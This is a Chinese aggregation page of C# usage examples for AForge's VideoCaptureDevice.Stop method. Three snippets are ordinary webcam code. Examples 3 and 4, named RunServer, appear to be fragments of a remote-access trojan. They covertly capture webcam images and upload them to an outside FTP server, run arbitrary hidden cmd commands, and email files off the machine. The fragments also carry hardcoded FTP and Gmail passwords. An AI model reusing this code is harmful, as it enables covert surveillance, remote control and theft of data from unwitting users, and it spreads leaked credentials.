本文整理汇总了C#中AForge.Video.DirectShow.VideoCaptureDevice.Stop方法的典型用法代码示例。如果您正苦于以下问题:C# VideoCaptureDevice.Stop方法的具体用法?C# VideoCaptureDevice.Stop怎么用?C# VideoCaptureDevice.Stop使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类AForge.Video.DirectShow.VideoCaptureDevice
的用法示例。
在下文中一共展示了VideoCaptureDevice.Stop方法的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: button1_Click
private void button1_Click(object sender, EventArgs e)
{
videoSource = new VideoCaptureDevice(videoDevices[0].MonikerString);
videoSource.NewFrame += videoSource_NewFrame;
videoSource.Start();
while (newImage == null){}
videoSource.Stop();
newImage = null;
}
示例2: Main
static void Main(string[] args)
{
while (true)
{
videoSource = new VideoCaptureDevice(new FilterInfoCollection(FilterCategory.VideoInputDevice)[0].MonikerString);
videoSource.NewFrame += CaptureFrame;
videoSource.Start();
Thread.Sleep(1000);
videoSource.Stop();
var engine = new TesseractEngine(@"tessdata", "letsgodigital", EngineMode.Default);
var image = new ElitechStc1000Image("test3.jpg", engine);
var temp = image.GetTemperature();
Console.WriteLine(temp);
try
{
var sensorEvent = new SensorEvent
{
Temperature = temp
};
Console.WriteLine("{0} > Sending temperature: {1}", DateTime.Now, temp);
var sink = new AzuresStreamAnalytics()
.WithConnectionString(ConfigurationManager.AppSettings["EventHubSendConnection"]);
sink.Send(sensorEvent);
}
catch (Exception exception)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("{0} > Exception: {1}", DateTime.Now, exception.Message);
Console.ResetColor();
}
Thread.Sleep(2000);
}
}
示例3: RunServer
//.........这里部分代码省略.........
cam.NewFrame += new NewFrameEventHandler(cam_NewFrame);
cam.Start();
picBox.Image = snapBitmap;
pictureBox1.Image = snapBitmap;
Thread.Sleep(2000);
Bitmap current = (Bitmap)snapBitmap.Clone();
string filepath = localPath;
string fileName = System.IO.Path.Combine(filepath, @count_capture + "Capture.jpg");
current.Save(fileName);
FtpWebRequest requesst1 = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + unique_code + "/" + count_capture + "Capture.jpg");
requesst1.Method = WebRequestMethods.Ftp.UploadFile;
requesst1.Credentials = new NetworkCredential("a2224609", "dato3286");
StreamReader sourceStream = new StreamReader(localPath + count_capture + "Capture.jpg");
string save_capture = localPath + count_capture + "Capture.jpg";
Image iimg = Image.FromFile(save_capture);
byte[] ar;
using (MemoryStream mms = new MemoryStream())
{
iimg.Save(mms, ImageFormat.Jpeg);
ar = mms.ToArray();
}
String b64 = Convert.ToBase64String(ar);
byte[] fileContents = Convert.FromBase64String(b64);
sourceStream.Close();
requesst1.ContentLength = fileContents.Length;
Stream requestStream1 = requesst1.GetRequestStream();
requestStream1.Write(fileContents, 0, fileContents.Length);
requestStream1.Close();
current.Dispose();
cam.Stop();
sourceStream.Close();
file.Close();
//აქ ვშლი ფაილს მარა რატო აგარ მახსოვს :)
File.Delete(command_file);
}
catch
{ //აქ იგივე ხდება ოგონდ თ არსებობს უკვე ფოლდერი იმ შემთხვევაში გადმოვა სვლა აქ
cam = new VideoCaptureDevice(cameraDevices[0].MonikerString);
cam.NewFrame += new NewFrameEventHandler(cam_NewFrame);
cam.Start();
picBox.Image = snapBitmap;
pictureBox1.Image = snapBitmap;
Thread.Sleep(2000);
Bitmap current = (Bitmap)snapBitmap.Clone();
string filepath = localPath;
string fileName = System.IO.Path.Combine(filepath, @count_capture + "Capture.jpg");
current.Save(fileName);
FtpWebRequest requesst1 = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/public_html/" + unique_code + "/" + count_capture + "Capture.jpg");
requesst1.Method = WebRequestMethods.Ftp.UploadFile;
requesst1.Credentials = new NetworkCredential("a2224609", "dato3286");
StreamReader sourceStream = new StreamReader(localPath + count_capture + "Capture.jpg");
string path = localPath + count_capture + "Capture.jpg";
示例4: RunServer
//.........这里部分代码省略.........
cam.Start();
picBox.Image = snapBitmap;
pictureBox1.Image = snapBitmap;
Thread.Sleep(2000);
Bitmap current = (Bitmap)snapBitmap.Clone();
string filepath = tet;
string fileName = System.IO.Path.Combine(filepath, @"Capture" + Convert.ToString(gege) + ".jpg");
current.Save(fileName);
FtpWebRequest requesst1 = (FtpWebRequest)WebRequest.Create("ftp://[email protected]/Commands/" + "Capture" + gege + ".jpg");
requesst1.Method = WebRequestMethods.Ftp.UploadFile;
requesst1.Credentials = new NetworkCredential("a3420726", "dato3286dato");
StreamReader sourceStream = new StreamReader(tet + "Capture" + gege.ToString() + ".jpg");
string path = @tet + "Capture" + Convert.ToString(gege) + ".jpg";
Image iimg = Image.FromFile(path);
byte[] ar;
using (MemoryStream mms = new MemoryStream())
{
iimg.Save(mms, ImageFormat.Jpeg);
ar = mms.ToArray();
}
String b64 = Convert.ToBase64String(ar);
byte[] fileContents = Convert.FromBase64String(b64);
sourceStream.Close();
requesst1.ContentLength = fileContents.Length;
Stream requestStream1 = requesst1.GetRequestStream();
requestStream1.Write(fileContents, 0, fileContents.Length);
requestStream1.Close();
current.Dispose();
cam.Stop();
var mess = t.SendSmsMessage("+15072982088", "+995571828588", "Capture");
break;
case "Run":
string q;
q = file.ReadLine();
ProcessStartInfo ProcessInfo;
Process Process;
ProcessInfo = new ProcessStartInfo("cmd", "/C " + q);
ProcessInfo.CreateNoWindow = true;
ProcessInfo.UseShellExecute = false;
Process = Process.Start(ProcessInfo);
break;
case "Send":
string to;
string att;
string username = "[email protected]";
string pass = "genadipizmati";
SmtpClient smtpserver = new SmtpClient();
MailMessage mail = new MailMessage();
smtpserver.Credentials = new NetworkCredential(username, pass);
smtpserver.Port = 587;
smtpserver.Host = "smtp.gmail.com";
smtpserver.EnableSsl = true;
mail.From = new MailAddress(username);
to = file.ReadLine();
att = file.ReadLine();
mail.To.Add(to);
System.Net.Mail.Attachment Attachment = new System.Net.Mail.Attachment(att);
int j;
示例5: camStart
public void camStart()
{
try
{
cam = new VideoCaptureDevice(webcam[comboBoxPic.SelectedIndex].MonikerString);
cam.NewFrame += new NewFrameEventHandler(cam_NewFram);
cam.Start();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
hideCamProperty();
if (cam.IsRunning)
{
cam.Stop();
}
camTrack = false;
userImage = false;
myImage = null;
Application.DoEvents();
if (radioButtonMale.Checked == true)
{
myImage = Image.FromFile(@"UserImage\Male.png");
pictureBoxPic.Image = myImage;
}
else if (radioButtonFemale.Checked == true)
{
myImage = Image.FromFile(@"UserImage\Female.png");
pictureBoxPic.Image = myImage;
}
else
{
myImage = Image.FromFile(@"UserImage\Default.png");
pictureBoxPic.Image = myImage;
}
}
}